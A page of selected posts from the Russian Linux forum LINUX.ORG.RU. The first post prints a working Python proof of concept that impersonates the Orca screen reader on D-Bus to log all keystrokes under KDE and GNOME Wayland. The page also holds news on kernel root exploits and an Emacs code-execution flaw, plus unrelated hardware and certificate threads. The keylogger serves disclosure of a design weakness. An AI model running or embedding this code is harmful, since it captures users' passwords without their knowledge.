LINUX.ORG.RU

Избранные сообщения superuser

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!

yorshka
()

Как я получал российский TLS-сертификат

 , ,

Услышал, что LE не продлевает сертификаты кому-то из России.

Услышал, что какие-то удостоверяющие центры отозвали сертификаты у кого-то из России.

А мне как раз нужен сертификат для сайта организации (раньше не было никакого). Решил не наступать на зарубежные грабли и получить суверенный бесплатный сертификат от Минцифры.

  1. Домен зарегистрирован на физлицо, это для Минцифры не подходит, нужно перерегистрировать на организацию. В Руцентре это делается через подачу заявления лично в офисе (остальные способы ещё хуже). Подал заявление, рассмотрение до 3 рабочих дней.

  2. Проходит 3 рабочих дня, в личном кабинете домена нет, звонок в поддержку (только по будним дням в рабочее время), ожидание на линии 15 минут, специалист отвечает «рассмотрение до месяца», я проявляю настойчивость и говорю, что в офисе обещали 3 дня, должна быть какая-то причина, и лишь в результате тщательного допроса специалист признался, что в личном кабинете нужно зайти в «Операции → Смена администратора» и там нажать «Принять домен». На главной странице личного кабинета не было ни намёка на то, что появился новый домен для принятия, и я так и не узнал, когда он там появился, через 3 дня или через полчаса.

  3. Для подачи заявления на сертификат нужна справка о принадлежности домена, подписанная УКЭП. Руцентр выдаёт такие справки бесплатно, если у вас подключена платная услуга «Безопасность домена» (я её подключать не собирался, они сами подключили). Заказываю справку, пропускаю при заказе варианты выбора доставки справки, и оказывается, что я заказал «Доставку почтой». Заказываю вторично, выбираю на этот раз электронный вариант, получаю отказ, т. к. уже заказана доставка почтой. Звоню в поддержку, ожидание на линии 10 минут, специалист отвечает, что отменить заказ можно только по заявке в поддержку через сайт. Пишу заявку на сайте, жду день, жду второй, звоню снова, через какое-то время заказ отменяют.

  4. Заново заказываю справку о принадлежности домена, но теперь это платная услуга, потому что «Безопасность домена» как раз за эти 2 дня истекла и продлевать её я не собираюсь. Плачу за справку (сумма меньше), получаю результат через ещё 2 дня. Электронную справку без живой подписи, которая делается автоматически, делают 2 дня.

  5. Справка получена, перехожу к заполнению заявления на Госуслугах на получение OV-сертификата. Первый вопрос: RSA или ГОСТ? Отвечаю, конечно ГОСТ, мы тут в суверенность играем или что, и я ещё давно слышал, что гостовские алгоритмы шифрования включили в OpenSSL. Заполняю конфигурационый файл по инструкции. В процессе пришлось выяснять, какого класса у меня СКЗИ Криптопро (оказалось, что КС1), а также расчехлить виртуалку с Астра-линуксом, чтобы создать ключ по ГОСТу (здесь меня должны были начать терзать смутные сомнения, но не начали).

  6. Для отправки заявления нужно доказать владение доменом путём добавления TXT-записи с подтверждающим кодом. Это означает ожидание от 10 до 30 минут, пока запись дойдёт до московских DNS-серверов, что на общем фоне незначительная потеря. Но для чего тогда нужна справка?

  7. Заявление отправлено в Минцифры, код подтверждён, справка с подписью тоже приложена. Через 10 секунд приходит отказ с формулировкой:

    NCA-315. Подпись документа, подтверждающего владение доменом, не прошла проверку

    Интернет таких слов не знает. Обращаюсь в поддержку Минцифры через Госуслуги же. Из поддержки отвечают на следующий день: оказывается, подписывать справку о принадлежности домена должен не регистратор домена, а организация, на которую оформлен домен. Из-за этого, во-первых, теряет всякий смысл само требование справки (и открывается возможность к более простой и нечестной процедуре получения справки без выполнения пп. 1-2), и во-вторых, теряют смысл действия в пп. 3-4, потому что справку без электронной подписи Руцентр просто даёт скачать с сайта бесплатно.

  8. Подписываю уже имеющуюся справку Руцентра подписью организации, подаю заявление на Госуслуги снова, через 10 секунд отказ не приходит, радуюсь, затем радость постепенно сменяется томительным ожиданием, потому что срок рассмотрения до 3 рабочих дней (в моём случае было 2).

  9. Получаю желанный сертификат, спешу поставить его на сервер и обнаруживаю, что:

    • Из коробки сертификат в nginx не работает, потому что суверенные гостовские алгоритмы, см. п. 5;

    • Рунет пестрит рекламой кастомной сборки nginx от Криптопро, в которую эти алгоритмы встроены, но последнее, что я хочу делать — это ставить на сервер чьи-либо кастомные сборки с регистрацией и кодами активации;

    • Всё же при наличии пакета libengine-gost-openssl, включения gost.so в конфиге OpenSSL и добавления в конфиг сайта

      ssl_protocols TLSv1.2; # Но не 1.3
      ssl_ciphers GOST2012-GOST8912-GOST8912:kGOST:aGOST;
      

      штатный nginx начинает работать.

  10. Но начинает работать в п. 9 только сервер. Клиенты не работают. Точнее, работает один: openssl s_client из командной строки (при условии установки и включения gost.so из п. 9). Никакие десктопные браузеры сайт не открывают. Ни Хром, ни Фаерфокс, ни chromium-gost, ни даже Яндекс-браузер. Не открывают вообще, опции «открой, я доверяю», не предлагается. Для того, чтобы зайти на сайт, нужно расширение Криптопро. Тот факт, что системный OpenSSL работает без Криптопро, браузерам не помогает, потому что все они тащат свои реализации TLS, системной не пользуются. Есть возможность локального проксирования трафика через OpenSSL и хождения на сайт через http://localhost:1234, но это слишком неестественно даже для пользователей Линукса. В прошлом были десктопные браузеры, поддерживающие ГОСТ (Атом, Спутник), но их уже нет. Также ходят слухи о секретной государственной разработке под названием «Браузер Восток», но её ещё нет. Короче говоря, гостовский сертификат был ошибкой.

  11. Возвращаюсь к. 5, заполняю заявку по другой форме на RSA-сертификат, повторяю п. 6, заявление отправлено, сертификат получен вечером того же дня, это успех.

  12. На этом фоне требование поставить суверенные корневые сертификаты кажется сущим пустяком. Единственное, нужно поставить их дважды: в браузер (чтобы открывать сайт без предупреждения от браузера) и в систему (чтобы работало всё остальное). Но в браузер их и так уже все поставили из-за Сбербанка и РЖД, а в систему, ну что ж, сгорел сарай — гори и хата.

Выводы:

  • С Руцентром лучше дела не иметь и регистрировать домены где угодно, только не в нём;

  • Подписывайте сами выданные вам справки о владении доменами (не проверял, работает ли также выдача этих справок самому себе);

  • Гостовские сертификаты вам нужны, только если вы государственная организация с повышенными требованиями к информационной безопасности, в остальных случаях берите RSA-сертификат;

  • Если не делать лишних действий и если очень повезёт, можно справиться за 1 рабочий день!

Перемещено hobbit из talks

ringill
()

Линус Торвальдс использует ИИ для дебага проблем с драйвером Intel Xe GPU

 , , ,

Linus лично отлаживал довольно мерзкий баг в Intel Xe GPU driver и использовал LLM как помощника.

Симптом был такой: на Intel Battlemage после cold boot compositor мог падать на первой GPU submission, появлялся чёрный экран, а gdm перезапускал compositor по кругу. При этом следующий запуск иногда внезапно работал.

Причина оказалась в расчёте границы VRAM, зарезервированной под Flat CCS — metadata для компрессии GPU.

В драйвере было примерно так:

offset = round_up(offset, SZ_128K);

После этого всё ниже offset считалось обычной доступной VRAM.

Проблема в том, что реальная CCS-область начиналась чуть раньше округлённой границы. В результате одна 4K-страница одновременно считалась:

  • свободной VRAM со стороны allocator’а;
  • частью CCS storage со стороны железа.

На машине Linus границы были примерно такие:

real CCS base: 0x3fafff800
allocator:     0x3fb000000

То есть allocator случайно отдавал страницу, в которую GPU hardware независимо писал CCS metadata.

Особенно красиво получилось то, что Mesa разместила именно там GPU page table. CCS начинал её портить, после чего первая submission compositor’а уходила в timeout.

Фикс в итоге практически однострочный:

- offset = round_up(offset, SZ_128K);
+ offset = round_down(offset, SZ_4K);

То есть если всё ниже границы считается доступной памятью, границу надо округлять вниз, а не вверх.

Сам Linus назвал расследование debug session from hell: понадобилось около 24 debug-патчей и 18 загрузок ядра.

Причём модель несколько раз пыталась убедить Linus, что проблема практически неразрешима и расследование стоит закончить. Linus это игнорировал и заставлял её продолжать собирать факты и добавлять instrumentation.

В итоге root cause нашли, а подробный commit message Linus также дал написать AI.

Сам тред:

https://lists.freedesktop.org/archives/dri-devel/2026-August/590630.html

Фикс:

https://linux.googlesource.com/linux/kernel/git/torvalds/linux/+/818bebeb63dd6bf5f4e07e145f6cdbace520a34c

gagarin0
()

Ограничиваем сертификат Минцифры

 , ,

Сейчас многие российские сайты, в первую очередь сайты банков, перешли (не по своей воле, но тем не менее) на использование УЦ, которые контролируются Правительством Российской Федерации. Корневые сертификаты этих УЦ (в просторечье - «сертификаты Минцифры»), как правило, по умолчанию не включаются в списки доверенных стандартными иностранными ОС и браузерами. Что будет, если мы их туда включим?

( читать дальше... )

Lrrr
()

«AMD!», кричали они

 ,

Столкнулся со странной проблемой на моём домашнем десктопе. На компе Убунту Линукс, десктоп, Райзен 5900XT, материнка MSI PRO B550-P GEN3. Никаких там системных твиков и проч. Никаких разгонов частот и напряжений, таймингов памяти - этой ерундой не занимаюсь.

Уезжал в отпуск на три дня, комп перевёл в режим suspend to ram. И вот, приехал обратно домой, и решил я, значит, поставить KUbuntu, ну типа поглядеть одним глазком, потыкать. Приезжаю, пробуждаю из сна, и перезагружаюсь, чтобы проверить порядок загрузочных носителей в БИОС.

И тут вижу, что температура проца растёт. Просто в БИОС, а там ведь никакой нагрузки, ну кроме стандартного простейшего мониторинга биосни! Температура доходит до 79С, потом всякие окна с предупреждениями о перегреве, и всё, выключаю, потому что дальше уже не интересно - проц, очевидно, не должен перегреваться в режиме БИОС.

Вентилятор проца крутится, вижу и визуально, и по датчикам - до 2600 об/мин. Температура на датчике системной платы - 29-30С. Напряжение vCore: 1.32-1.44В.

Сменил термопасту, всё прикрутил обратно как надо, шурупы до предела, благо, на собременных креплениях, что Интел, что АМД, механическая защита от перекрута. Смена пасты не помогла.

Всё сходится на том, что процессор за эти три дня просто сдох. Какие ещё варианты?

P.S. ах да, никаких визуальных дефектов (типа «горелостей») на проце не видно, но ведь это не значит, что он не навернулся?

seiken
()

PCIe Bifurcation от чего может зависеть?

 , ,

Есть gigabyte B550I AORUS PRO AX

В настройке «PCIe Bifurcation» в подсказке есть

x4x4x4x4, x8x8, x8x4x4, auto

Но x4x4x4x4 отсутствует в списке выбора.

Проблема наблюдается на всех версиях биоса.

PCIe x16 не занят, т.к. используется встроенная графика

Внимание вопрос: могут ли какие-то другие настройки влиять на невозможность выставить x4x4x4x4?

Есть пара плат PCIe-nvme которые хотят x4x4x4x4. Иначе виден только nvme в первом разъеме.

vel
()

Bad Epoll: в Linux и Android нашли уязвимость для получения root-доступа

 , ,

Bad Epoll: в Linux и Android нашли уязвимость для получения root-доступа
Группа Безопасность

В ядре Linux раскрыта уязвимость Bad Epoll, зарегистрированная как CVE-2026-46242. Она позволяет обычному локальному пользователю без специальных прав повысить привилегии до root. По данным автора исследования Джэёна Чона, проблема затрагивает не только Linux-десктопы и серверы, но и часть Android-устройств на новых версиях ядра — это отдельно подчёркивается в описании Bad Epoll.

Ошибка находится в подсистеме epoll — стандартном механизме Linux для отслеживания множества файловых дескрипторов, сетевых соединений и событий ввода-вывода. Такие механизмы активно используют серверы, браузеры и сетевые сервисы, поэтому просто отключить epoll нельзя. В техническом разборе уязвимость описана как гонка, приводящая к use-after-free: при одновременном закрытии связанных epoll-объектов один поток освобождает внутренние структуры, а другой продолжает к ним обращаться.

Если точнее, проблема проявляется при ситуации, когда один epoll-дескриптор следит за другим, а оба дескриптора закрываются параллельно. После вызова __ep_remove() поле file->f_ep временно обнуляется, и конкурирующий __fput() может решить, что дополнительная очистка уже не нужна. В результате объект struct eventpoll или связанный с ним struct file освобождается слишком рано, но код продолжает работать с указателями на уже освобождённую память. Именно это и даёт атакующему примитив для повреждения памяти ядра.

Для атаки не нужны дополнительные capabilities и не требуются user namespaces — достаточно наличия CONFIG_EPOLL, что делает проблему особенно неприятной для обычных Linux-систем. Согласно первичному отчёту исследователя, баг был внесён в ядро коммитом 58c9b016e128 в 2023 году, а исправлен коммитом a6dc643c693.

Несмотря на очень узкое окно гонки, исследователь подготовил рабочий эксплойт для Google kernelCTF. В описании эксплуатации показано, как ошибка превращается в 8-байтную запись в освобождённую структуру, затем в утечку памяти ядра через /proc/self/fdinfo, перехват file->f_op->poll и ROP-цепочку для получения root. Для цели lts-6.12.67 заявлена надёжность около 99%, для COS — около 98%; Android-эксплойт, по словам автора, ещё находится в работе.

Под ударом находятся ядра, основанные на ветке 6.4 и новее, если в них не перенесено исправление. Старые Android-устройства на ядрах 6.1, включая Pixel 8 и похожие модели, автор считает неуязвимыми. Пользователям и администраторам остаётся единственный нормальный вариант защиты — установить обновление ядра от своего дистрибутива или вендора устройства.

>>> Подробности (github.com)

unclestephen
()

Ryzen 9 3950X cpufreqd

 , ,

Ребят, неделю убил, сил нету... Не получается заставить ryzen 9 3950x работать свыше 3.7 частоты. ос 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux. freqd не помогает, до переустановки оси он работал на частоте 4.4

User01
()

Не работает amd_pstate на B550 и Ryzen 7 5800X

 , , ,

Стало мне казаться (спустя 1.5 года после того, как собрал), что мой десктоп слишком часто крутит вентилятором. Решил посмотреть, включено ли управление частотой/питанием, и обнаружил, что у меня amd_pstate не включается.

В BIOS CPPC включил явно (было Auto) - не помогает.

Пробовал параметр amd_pstate.shared_mem=1 - не помогает.

Пробовал блэклистить acpi вместе с этим параметром - не помогает (исчезает вообще любое управление частотой CPU).

Arch, обычное ядро 6.2.13 из дистрибутива, pstate вкомпилен в ядро разработчиками дистрибутива. lscpu не показывает cppc во флагах.

Материнка Gigabyte Aorus B550M PRO.

Эта комбинация материнки и проца и amd_pstate находится лишь однажды в google, там человеку помогло amd_pstate=passive. Я ещё не пробовал, но вроде как здесь писали, что passive mode - отстой.

emorozov
()

Даунвольт ryzen zen 2

 , ,

Собсно, сабж 3500 (без Х) не устраивает температура - 49-55 tctl в простое, в нагрузке аж до 83 взлетает. Кулер - откровенное … но поменять нет возможности в данный момент. Плата msi b450 pro-vdh max. Так как ресурсоемких приложух нет и не будет решил даунвольтнуть, но вот до какого напряжения не понятно. У кого есть опыт. Поделитесь?

mmindworker
()

Как устранить дребезг на механической клавиатуре?

 

Точннее не сам дребезг, а его последствия в виде дублирующихся символов. Есть механическая клавиатура, ии она иногда выдает два символа на одно ннажатие (специально не редактирую это сообщение). Как это побороть? Должна же быть где-то возможность задать задержку между приемами соседних нажатий?

Гугл на keyboard chattering/debouncing ничего полезного не выдал.

Puzan
()

NVIDIA, EDID и ttyX, как избавиться от «Вход не поддерживается»?

 , ,

После установки драйверов nvidia-driver:525, после запуска Xorg, если переключиться в tty монитор писал «Вход не поддерживается», переключение обратно в xorg tty не помогало. После добавления в xorg.conf

Section "Screen"
  Option "UseEDID" "False"
EndSection
Переключение обратно в xorg начало приводить к тому, что xorg нормально отображается. Но в tty все равно «Вход не поддерживается», его я никак после запуска xorg увидеть не могу.

Как я понял, проблема в том что переключение на tty пытается ввести монитор в какой то неправильный режим, но как его сделать правильным?

Пробовал ставить по отдельности и вместе nomodeset, nvidia-drm.modeset=1, nvidia-drm.modeset=0, drm.edid_firmware=edid/custom_edid.bin где custom_edid.bin это то что я сгенерировал находясь в графической сессии с помощью nvidia-settings, но ничего не помогло.

В Wayland вообще всегда нет сигнала, как и в tty, как я понимаю настроив tty я смогу и им пользоваться.

Debian 12, Linux 6.1.0, NVIDIA 525.105.17, RTX 3060 LHR

Монитор https://www.dns-shop.ru/product/483fcc72d53b3332/238-monitor-acer-ka242ybi-ce...

Видеокарта https://www.dns-shop.ru/product/49b77a8077562eb0/videokarta-kfa2-geforce-rtx-...

MOPKOBKA
()

Релиз fidoip 2.0.5 — комплекта программ для работы в Фидонет

 , , , ,

Группа Open Source

Вышло обновление fidoip 2.0.5 — комплекта программ для работы в сети Фидонет. Комплект содержит набор последних версий классических программ ФИДО (только свободное ПО): мейлер для получения почты через Интернет, тоссер для обработки сообщений и редактор сообщений.

Кратко об основных изменениях в этой версии:

  • улучшена загрузка обновлений нодлистов и поинтлистов, комплект использует более 10 зеркал. Если доступ в Интернет ограничен, комплект способен загружать обновления, используя традиционный для Фидонет канал, — файловые конференции;

  • улучшен вывод статистики трафика для файловых конференций, передающих большие аудио– и видеофайлы. В зависимости от объема переданных по эхам данных, статистика по трафику в отчетах отображается в килобайтах, мегабайтах и гигабайтах, а не байтах, как это было ранее;

  • новые утилиты экспорта и импорта позволяют экспортировать и импортировать конфигурацию узла или поинта при обновлении версий комплекта, а также легко перемещать установку fidoip в другой каталог/на другой компьютер;

  • в разделе загрузок linux (https://sf.net/projects/fidoip/files/linux/fidoslax-retro-edition/iso/) выложены два новых образа дистрибутива FIDOSlax Retro Edition 1.1.5, — в дистрибутив включены последние изменения, перенесенные из комплекта fidoip.

  • выпущена новая версия утилиты sysmon (https://sf.net/projects/sysmon/files/2.0/), sysmon 2.0, используемая в отчетах fidoip. Она выводит информацию о текущем состоянии операционной системы и не требует для работы привилегий суперпользователя.

Комплект fidoip прост в настройке. Используя его, вы можете легко подключиться к Фидонет (предварительно нужно связаться с системными операторами сети, список которых приведен в документации), а также быстро поднять свой узел ФИДО.

>>> http://sourceforge.net/projects/fidoip (sourceforge.net)

Ffalcony
()

[ALSA] Как узнать частоту дискретизации у звуковой карты?

 

tempuser002
()

CVE-2026-31431: локальная уязвимость с повышением привилегий во всех современных Linux

 ,

Группа Безопасность

Опубликованы подробности уязвимости «Copy Fail» CVE-2026-31431 (Base Score: 7.8 HIGH), которая обеспечивает локальное повышение привилегий до root любого локального пользователя без специальных средств и условий. Проблема проявляется начиная с ядра Linux 4.14, выпущенного в 2017 году, и устранена в ядрах 6.18.22, 6.19.12 и 7.0.

Уязвимость связана с ошибкой в authencesn — криптографическом шаблоне в ядре Linux — и эксплуатируется через интерфейс AF_ALG.

Доступен эксплоит с кодом на Python в 732 байт.

Для всех многопользовательских систем и изолированных сред рекомендовано обновление ядра на версию с откатом коммита 72548b093ee3 при выходе исправлений.

Эффективной мерой по закрытию уязвимости до обновления будет отключение модуля algif_aead в ядре. Его отключение не окажет заметного влияния на системы, где средства криптографии явно не настроены на работу исключительно через AF_ALG.

>>> Подробности (copy.fail)

anonymous
()

делаем образ загрузочной SD

 bootrom, , , ,

… чтобы могло пойти не так?

Всех приветствую. Раз сегодня пятница, расскажу вам прохладную историю.

Нужно мне сделать загрузочную флешку для одной железки на базе процессора sitara (это Техас Инструментс, это где Хьюстон, быки и пи… впрочем об этом в другой раз).

Так как там очень привередливый бутром, сд-должна размечаться в старом досовском стиле:

sudo fdisk -c=dos -S 63 -H 255 /dev/sdb
n
p
1
63
144584
t
1
b
a
1
w

Дальше форшмачим: sudo mkfs.vfat -F 32 -n "boot" /dev/sdb1

монтируем, копируем SPL+u-boot+main_img..

И все работает. Да, волшебная строчка для fdisk, рождалась в диких корчах и муках. Тем не менее, если воткнуть sd в железку, она бодро загрузится и будет работать.

Дальше мне захотелось странного. Хочу не скрипт, который будет печь sd-карту. А скрипт, который будет печь образ, который можно потом, просто закинуть на любую sd через dd или еще как.

В целом вроде как ничего хитрого:

IMG=./sd_image
dd if=/dev/zero of=$IMG bs=1M count=200
cat << END | fdisk -c=dos -S 63 -H 255 ${IMG}   
... < тут все тоже самое что и для sdb
END
DEV=`sudo losetup --find --show --partscan ${IMG}`
sudo mkfs.vfat -F 32 -n "boot"   ${DEV}p1 
sudo mount -t vfat ${DEV}p1 ./p1 
cp ./MLO bla-bla-bla
sudo umount ....
sudo losetup --detach $DEV 

Получили такие же первых 63 сектора. И такой же размер первого раздела с таким же набором файлов. Дальше, делаем:

dd if=$IMG of=/dev/sdb

Втыкаем в железку.. и ничего!

В чем сакральная разница?

yax123
()

Удаленное выполнение произвольной команды в Emacs

 , , ,

Группа Безопасность

Ошибка вызвана автоматической обработкой содержимого каталога a .git/, когда он размещён в одном каталоге с открываемым файлом. В этом случае Emacs при открытии файла запускает команды git ls-files и git status, выполняемые в контексте содержимого .git/. Для выполнения кода достаточно открыть в Emacs файл из каталога, в котором имеется подкаталог .git/ с файлом конфигурации config, включающим опцию core.fsmonitor с указанной атакующим командой для запуска.

Сопровождающие GNU Emacs отцы отказались устранять уязвимость, считая, что проблема на стороне git.

>>> Подробности (github.com)

Lusine
()

Git 2.54

 

Git 2.54
Группа Разработка

Представлен релиз распределенной системы управления исходными текстами Git 2.54. Git отличается высокой производительностью и предоставляет средства нелинейной разработки, базирующиеся на ответвлении и слиянии веток. Для обеспечения целостности истории и устойчивости к изменениям «задним числом» используются неявное хеширование всей предыдущей истории в каждом коммите, а также удостоверение цифровыми подписями разработчиков отдельных тегов и коммитов. Код Git распространяется под лицензией GPLv2+.

По сравнению с прошлым выпуском в новую версию принято 770 изменений, подготовленных при участии 137 разработчиков (66 впервые приняли участие в разработке Git).

( читать дальше... )

>>> Источник: OpenNET (opennet.ru)

Mishahack
()

Опасные уязвимости в GStreamer, CUPS, wolfSSL, OpenSSL, OpenClaw, Nix и ядре Linux

 ,

Группа Безопасность

За последние несколько дней были выявлены сразу несколько серьёзных уязвимостей, причём значительная их часть допускает удалённую эксплуатацию.

( читать дальше... )

>>> Источник: OpenNET (opennet.ru)

unclestephen
()

Конфигурялка мыши Logitech

 ,

Принес новость обладателям Logitech и любителям тестить железо и ковыряться в системе. Может кому интересно будет добавить свою мышку (есть гайды) и законтрибутить в развитие проекта. Если что, мопед не мой.

Цитата с гитхаба:

Как и многие из вас, я ждал, когда Logitech выпустит Options+ для Linux. Но устал ждать.

Прежде всего — огромное уважение командам Solaar и logiops. Они проложили путь, проведя реверс инжиниринг HID++, и на протяжении многих лет являются опорой поддержки Logitech в Linux. Без их работы я бы никуда не продвинулся.

Тем не менее, после ежедневного использования MX Master 3S я постоянно сталкивался с одними и теми же проблемами:

Solaar отлично подходит для мониторинга и базовой настройки, но в нём нет переключения профилей для отдельных приложений — я не мог добиться автоматического изменения DPI и настроек кнопок при переключении между Firefox и терминалом. Возможности настройки режимов кнопки жестов и колесика большого пальца через интерфейс также довольно ограничены.

logid — мощный инструмент, но работает как системный демон, который постоянно мешал работе KDE. Я потратил слишком много часов на отладку того, почему мои функции масштабирования и регулировки громкости конфликтовали друг с другом (logid и Plasma одновременно обрабатывали события одной и той же кнопки). А редактирование конфигураций YAML для каждой комбинации кнопок быстро надоедает.

Все, что я хотел, это аналог Options+. Нажимаете кнопку мыши, выбираете, что она делает, готово. Все как положено, с профилями под разные приложения, которые переключаются по Alt+Tab и т.д.

Поэтому я создал Logitune.

Это настольное приложение на Qt6, которое напрямую взаимодействует с HID++ 2.0 через hidraw. Никаких демонов, работающих в фоновом режиме, никаких конфигурационных файлов — просто обычное приложение с иконкой в трее.

Основные особенности:

  • Профили для каждого приложения, которые переключаются автоматически при фокусировке окна (KDE Plasma 6 + GNOME 42+ Wayland)
  • Визуальная настройка — кликабельное изображение мыши с активными зонами, как в Options+
  • Жесты — удерживание + свайп для 5 действий на профиль
  • Колесико — горизонтальная прокрутка, масштабирование или громкость, для каждого приложения
  • DPI, SmartShift, прокрутка с высоким разрешением — все необходимое
  • Bolt + Bluetooth с автоматической переключением между ними
  • Никаких демонов, никаких прав root — обычное приложение

Сейчас поддерживается MX Master 3S. Приложение имеет модульную структуру — каждое устройство является самостоятельным, со своим собственным дескриптором, изображениями и настройками кнопок. Добавление поддержки новой мыши несложно. В вики есть пошаговое руководство, если вы хотите внести свой вклад.

На данный момент поддерживаются KDE и GNOME, так как есть нюансы с отслеживанием и перехватыванием фокуса. Для других DE заявлена базовая функциональность. Нно добавить свое DE тоже несложно.

Кроме того, есть вики-сайт с документацией по архитектуре и подробными описаниями протокола HID++, если вам интересно, как всё это устроено «под капотом».

Установка:

  • Arch: yay -S logitune
  • Ubuntu 24.04 / Fedora 42: репозиторий OBS
  • Из исходного кода: cmake + Qt6

GitHub: https://github.com/mmaher88/logitune

Gonzo
()